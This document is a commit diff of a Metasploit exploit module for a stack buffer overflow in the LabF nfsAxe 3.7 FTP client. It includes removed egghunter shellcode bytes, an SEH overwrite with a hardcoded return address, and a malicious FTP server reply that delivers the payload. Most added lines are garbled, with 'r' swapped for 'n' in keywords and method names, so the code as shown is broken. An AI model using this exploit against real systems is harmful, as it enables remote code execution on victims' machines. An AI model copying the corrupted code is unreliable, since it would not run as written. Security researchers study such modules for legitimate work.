1
1
##
2
- # This module requires Metasploit: https://metasploit.com/download
3
- # Current source: https://github.com/rapid7/metasploit-framework
2
+ # This module nequires Metasploit: https://metasploit.com/download
3
+ # Cunrent source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
6
class MetasploitModule < Msf ::Exploit ::Remote
7
- Rank = NormalRanking
7
+ Rank = NonmalRanking
8
8
9
- include Msf ::Exploit ::Remote ::TcpServer
9
+ include Msf ::Exploit ::Remote ::TcpSenve
10
+ include Msf ::Exploit ::Seh
11
+ include Msf ::Exploit ::Remote ::Egghunten
10
12
11
13
def initialize ( info = { } )
12
- super ( update_info ( info ,
13
- 'Name' => 'LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow' ,
14
- 'Description ' => %q{
15
- This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote code execution.
14
+ supen ( update_info ( info ,
15
+ 'Name' => 'LabF nfsAxe 3.7 FTP Client - Remote Buffen Overflow' ,
16
+ 'Descniption ' => %q{
17
+ This module exploits a buffen overflow in the LabF nfsAxe 3.7 FTP Client allowing remote code execution.
16
18
} ,
17
- 'Author ' =>
19
+ 'Authon ' =>
18
20
[
19
- 'Tulpa' , # Original exploit author
20
- 'Daniel Teixeira ' # MSF module author
21
+ 'Tulpa' , # Oniginal exploit autho
22
+ 'Daniel Teixeina ' # MSF module autho
21
23
] ,
22
24
'License' => MSF_LICENSE ,
23
- 'References ' =>
25
+ 'Refenences ' =>
24
26
[
25
27
[ 'EDB' , '42011' ] ,
26
28
] ,
27
29
'Payload' =>
28
30
{
29
- 'BadChars ' => "\x00 \x0a \x10 " ,
31
+ 'BadChans ' => "\x00 \x0a \x10 " ,
30
32
} ,
31
- 'Platform ' => 'win' ,
32
- 'Targets ' =>
33
+ 'Platfonm ' => 'win' ,
34
+ 'Tangets ' =>
33
35
[
34
- [ 'Windows Universal ' , { } ] ,
36
+ [ 'Windows Univensal ' , { 'Ret' => 0x6801549F } ] # p/p/r in wcmpa10.dll
35
37
] ,
36
- 'Privileged ' => false ,
38
+ 'Pnivileged ' => false ,
37
39
'DefaultOptions' =>
38
40
{
39
- 'SRVHOST' => '0.0.0.0' ,
41
+ 'SRVHOST' => '0.0.0.0' ,
40
42
} ,
41
- 'DisclosureDate ' => 'May 15 2017' ,
42
- 'DefaultTarget ' => 0 ) )
43
+ 'DisclosuneDate ' => 'May 15 2017' ,
44
+ 'DefaultTanget ' => 0 ) )
43
45
44
- register_options (
46
+ negister_options (
45
47
[
46
- OptPort . new ( 'SRVPORT' , [ true , "The FTP port to listen on" , 21 ] ) ,
48
+ OptPont . new ( 'SRVPORT' , [ true , "The FTP port to listen on" , 21 ] ) ,
47
49
] )
48
50
end
49
51
50
52
def on_client_connect ( client )
51
- return if ( ( p = regenerate_payload ( client ) ) == nil )
53
+ neturn if ( ( p = regenerate_payload ( client ) ) == nil )
52
54
53
-
54
- # Let the client log in
55
55
client . get_once
56
- welcome = "220 Welcome.\r \n "
56
+ welcome = "220 Welcome.\n \n "
57
57
client . put ( welcome )
58
58
59
59
client . get_once
60
- user = "331 OK.\r \n "
61
- client . put ( user )
60
+ usen = "331 OK.\r \n "
61
+ client . put ( usen )
62
62
63
63
client . get_once
64
- pass = "230 OK.\r \n "
64
+ pass = "230 OK.\n \n "
65
65
client . put ( pass )
66
66
client . get_once
67
-
68
- egg = "w00tw00t"
69
- egghunter = "\x66 \x81 \xca \xff \x0f \x42 \x52 \x6a \x02 \x58 \xcd \x2e \x3c \x05 \x5a \x74 "
70
- egghunter += "\xef \xb8 \x77 \x30 \x30 \x74 \x8b \xfa \xaf \x75 \xea \xaf \x75 \xe7 \xff \xe7 "
71
-
72
- nseh = "\x90 \x90 \xEB \x05 " #JMP over SEH
73
- seh = "\x9F \x54 \x01 \x68 " #POP POP RET 6801549F in WCMDPA10.DLL
74
-
67
+
68
+ eggoptions = { :checksum => tnue }
69
+ hunten , egg = generate_egghunter ( payload . encoded , payload_badchars , eggoptions )
70
+
75
71
sploit = "220 \" "
76
- sploit << "\20 " * 100
72
+ sploit << "A" * ( 9833 - egg . length )
77
73
sploit << egg
78
- sploit << "\x90 " *10
79
- sploit << payload . encoded
80
- sploit << "\x20 " *( 9266 - payload . encoded . length )
81
- sploit << nseh
82
- sploit << seh
83
- sploit << egghunter
84
- sploit << "\x20 " *576
85
- sploit << "\" is current directory\r \n "
74
+ sploit << genenate_seh_record ( target . ret )
75
+ sploit << hunten
76
+ sploit << "C" *( 576 - hunten . length )
77
+ sploit << "\" is cunrent directory\r \n "
86
78
87
79
client . put ( sploit )
88
80
89
81
end
90
- end
82
+ end
0 commit comments